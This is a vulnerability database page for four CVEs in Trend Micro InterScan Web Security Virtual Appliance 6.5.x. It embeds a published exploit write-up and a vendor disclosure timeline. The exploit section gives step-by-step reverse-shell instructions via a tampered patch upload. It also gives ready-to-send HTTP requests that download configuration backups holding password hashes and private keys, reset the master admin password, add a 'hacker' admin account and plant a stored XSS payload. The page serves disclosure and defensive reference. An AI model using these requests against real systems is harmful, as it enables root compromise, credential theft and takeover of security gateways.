Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
4 |
|
AV:N/AC:L/Au:S/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41361
Publication date : 2016-11-27 23h00 +00:00
Author : SlidingWindow
EDB Verified : Yes
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [28/11/2016]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on IWSVA version 6.5-SP2_Build_Linux_1707 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA version 6.5-SP2_Build_Linux_1707]
# CVE : [CVE-2016-9269, CVE-2016-9314, CVE-2016-9315, CVE-2016-9316]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116672
==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.
==================
#Vulnerabilities:-
==================
Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS)
========================
#Vulnerability Details:-
========================
#1. Remote Command Execution Vulnerability (CVE-2016-9269):-
The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell.
Proof of Concept:-
a. Download the patch from here.
b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell.
c. Calculate the MD5 hash of 'stargate_patch.tgz'
md5sum stargate_patch.tgz
d. Update the 'MD5SUM.txt' with new hash.
e. Listen on port#443 on you Kali machine.
f. Upload the patch to the target server:
http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload
g. You should have a root shell now.
#2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):-
The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc.
Exploitation:-
A. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=save&uploadfile=&beFullyOrPartially=0
B. Send this POST request to download the backup file from server:
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=2&ImEx_success=1&pkg_name=%2Fvar%2Fiwss%2Fmigration%2Fexport%2FIWSVA6.5-SP2_Config.tar%0D%0A&backup_return=
#3. Privilege Escalation Vulnerability (CVE-2016-9315):-
A. Change Master Admin's password:
i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=review&allaccount=admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=abc123&PASS2=abc123&description=Master+Administrator&role_select=0&roleid=0
B. Add a new administrator account 'hacker'
i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser&role_select=1&roleid=1
#4. Stored Cross-Site-Scripting Vulnerability (CVE-2016-9316):-
i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 292
CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser4"><script>alert(111)</script>&role_select=1&roleid=1
ii. The script executes when admin visits the ‘Login Accounts’ page.
#Vulnerability Disclosure Timeline:
28/10/2016: First email to disclose the vulnerability to the Trend Micro incident response team
10/11/2016: Second email to ask for acknowledgment
15/11/2016 Acknowledgment from the Trend Micro incident response team for the email reception and saying the vulnerability is under investigation
15/11/2016: CVE Mitre assigned CVE-2016-9269, CVE-2016-9314, CVE-2016-9315 and CVE-2016-9316 for these vulnerabilities.
24/11/2016: Trend Micro incident response team provided a patch for testing.
25/11/2016: Acknowlegdement sent to Trend Micro confirming the fix.
01/12/2016: Third email to ask for remediation status
02/12/2016: Trend Micro incident response team responded stating that the fix will be released by the end of December 2016.
21/12/2016: Fourth email to ask for remediation status
21/12/2016: Trend Micro released the patch for English version.
21/12/2016: Trend Micro incident response team responded stating that the patch for Japanese version will be released in February 2017.
14/02/2017: Trend Micro releases Security Advisory. Link: https://success.trendmicro.com/solution/1116672
Products Mentioned
Configuraton 0
Trendmicro>>Interscan_web_security_virtual_appliance >> Version To (including) 6.5
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 3.1 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 5.1 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 5.5 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 5.6 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.0 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5 (Open CPE detail)
- Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5 (Open CPE detail)
References
